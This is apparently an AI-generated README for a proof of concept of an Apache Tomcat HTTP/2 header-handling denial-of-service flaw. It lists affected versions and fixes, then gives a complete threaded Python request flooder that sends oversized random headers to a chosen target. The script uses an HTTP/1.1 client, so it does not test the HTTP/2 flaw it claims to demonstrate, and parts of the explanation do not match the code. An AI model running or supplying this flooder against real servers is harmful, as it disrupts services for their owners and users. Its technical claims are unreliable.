Here’s a README.md for a Proof of Concept (PoC) demonstrating the Denial of Service (DoS) vulnerability in Apache Tomcat due to improper input validation of HTTP/2 requests:


Proof of Concept (PoC) for Denial of Service (DoS) Vulnerability in Apache Tomcat

This repository contains a Proof of Concept (PoC) script demonstrating a Denial of Service (DoS) vulnerability in Apache Tomcat. The vulnerability arises from improper input validation of HTTP/2 requests, leading to potential DoS conditions.

Vulnerability Description

CVE-ID: (Pending)

Overview: Apache Tomcat versions from 11.0.0-M1 through 11.0.0-M16, 10.1.0-M1 through 10.1.18, 9.0.0-M1 through 9.0.85, and 8.5.0 through 8.5.98 are vulnerable to a Denial of Service attack. The issue occurs when processing HTTP/2 requests with headers exceeding configured limits. The HTTP/2 stream is not reset until after all headers have been processed, potentially leading to resource exhaustion.

Affected Versions:

  • Apache Tomcat 11.0.0-M1 through 11.0.0-M16
  • Apache Tomcat 10.1.0-M1 through 10.1.18
  • Apache Tomcat 9.0.0-M1 through 9.0.85
  • Apache Tomcat 8.5.0 through 8.5.98

Mitigations:

  • Upgrade to Apache Tomcat versions 11.0.0-M17, 10.1.19, 9.0.86, or 8.5.99 or later.

PoC Details

This PoC script demonstrates how to exploit the DoS vulnerability by sending HTTP/2 requests that exceed the configured header limits. The script sends a large number of requests to exhaust resources on the server.

PoC Script

import http.client
import threading
import logging
import time
import random
import string
import argparse
import os

# Configuration defaults
DEFAULT_HOST = "target-server"
DEFAULT_PORT = 443
DEFAULT_NUM_REQUESTS = 1000
DEFAULT_CONCURRENT_THREADS = 10
DEFAULT_REQUEST_INTERVAL = 0.5
DEFAULT_LOG_FILE = "requests.log"

# Setup logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

def random_string(length):
    """Generate a random string of fixed length."""
    letters = string.ascii_letters + string.digits
    return ''.join(random.choice(letters) for i in range(length))

def dynamic_payload():
    """Generate a dynamic payload for requests."""
    return random_string(random.randint(10, 100))

def send_request(conn, method, endpoint, headers, payload):
    """Send a single HTTP request."""
    conn.request(method, endpoint, body=payload, headers=headers)
    response = conn.getresponse()
    return response.status, response.reason

def send_dos_requests(host, port, num_requests, concurrent_threads, request_interval, log_file):
    def worker(thread_id):
        conn = None
        try:
            conn = http.client.HTTPSConnection(host, port, timeout=10)
            for i in range(num_requests // concurrent_threads):
                method = random.choice(["GET", "POST"])
                headers = {
                    "Content-Type": "application/x-www-form-urlencoded",
                    "X-Test-Header": random_string(65536)
                }
                payload = dynamic_payload() if method == "POST" else None
                status, reason = send_request(conn, method, "/", headers, payload)
                logging.info(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}")

                with open(log_file, "a") as logf:
                    logf.write(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}\n")

                time.sleep(request_interval)

        except Exception as e:
            logging.error(f"Thread {thread_id} - An error occurred: {e}")
        finally:
            if conn:
                conn.close()

    # Create and start threads
    threads = []
    for i in range(concurrent_threads):
        thread = threading.Thread(target=worker, args=(i + 1,))
        thread.start()
        threads.append(thread)
        time.sleep(0.1)

    for thread in threads:
        thread.join()

    logging.info("Completed sending requests")

def parse_args():
    """Parse command-line arguments."""
    parser = argparse.ArgumentParser(description="HTTP Request Flooder")
    parser.add_argument('--host', default=DEFAULT_HOST, help='Target server address')
    parser.add_argument('--port', type=int, default=DEFAULT_PORT, help='Target server port')
    parser.add_argument('--num-requests', type=int, default=DEFAULT_NUM_REQUESTS, help='Total number of requests to send')
    parser.add_argument('--concurrent-threads', type=int, default=DEFAULT_CONCURRENT_THREADS, help='Number of concurrent threads')
    parser.add_argument('--request-interval', type=float, default=DEFAULT_REQUEST_INTERVAL, help='Interval between requests')
    parser.add_argument('--log-file', default=DEFAULT_LOG_FILE, help='File to log request results')
    return parser.parse_args()

if __name__ == "__main__":
    args = parse_args()
    logging.info(f"Starting flooder with {args.num_requests} requests to {args.host}:{args.port} using {args.concurrent_threads} threads")
    send_dos_requests(
        host=args.host,
        port=args.port,
        num_requests=args.num_requests,
        concurrent_threads=args.concurrent_threads,
        request_interval=args.request_interval,
        log_file=args.log_file
    )

Explanation

  1. Configuration: Set host to the target server address and port to the appropriate port (typically 443 for HTTPS). Adjust num_requests to control the number of requests sent.
  2. Create Connection: The script establishes an HTTPS connection to the target server.
  3. Headers: A large header value is used to exceed the configured header limits and trigger the vulnerability.
  4. Send Requests: The script sends multiple HTTP/2 POST requests with oversized headers to the target server.
  5. Print Status: Prints the status code of each request to monitor the impact.

Important Considerations

  • Permissions: Ensure you have explicit permission to perform this test on the target server. Unauthorized testing is illegal and unethical.
  • Testing Environment: Conduct tests in a controlled environment to avoid disrupting production services.
  • Ethical Use: Use this PoC responsibly and only in authorized contexts.

Mitigation

To mitigate this vulnerability:

  1. Upgrade Apache Tomcat: Update to versions 11.0.0-M17, 10.1.19, 9.0.86, or 8.5.99 or later.
  2. Review Configuration: Adjust server configurations to handle large or malicious HTTP/2 requests more effectively.
  3. Monitor Resources: Implement monitoring to detect and respond to unusual request patterns that may indicate a DoS attack.

For more information on securing your Apache Tomcat installation, refer to the official Apache Tomcat documentation.


This README.md provides an overview of the vulnerability, the PoC script, and instructions for mitigation. Ensure you handle this PoC responsibly and only on systems where you have explicit authorization.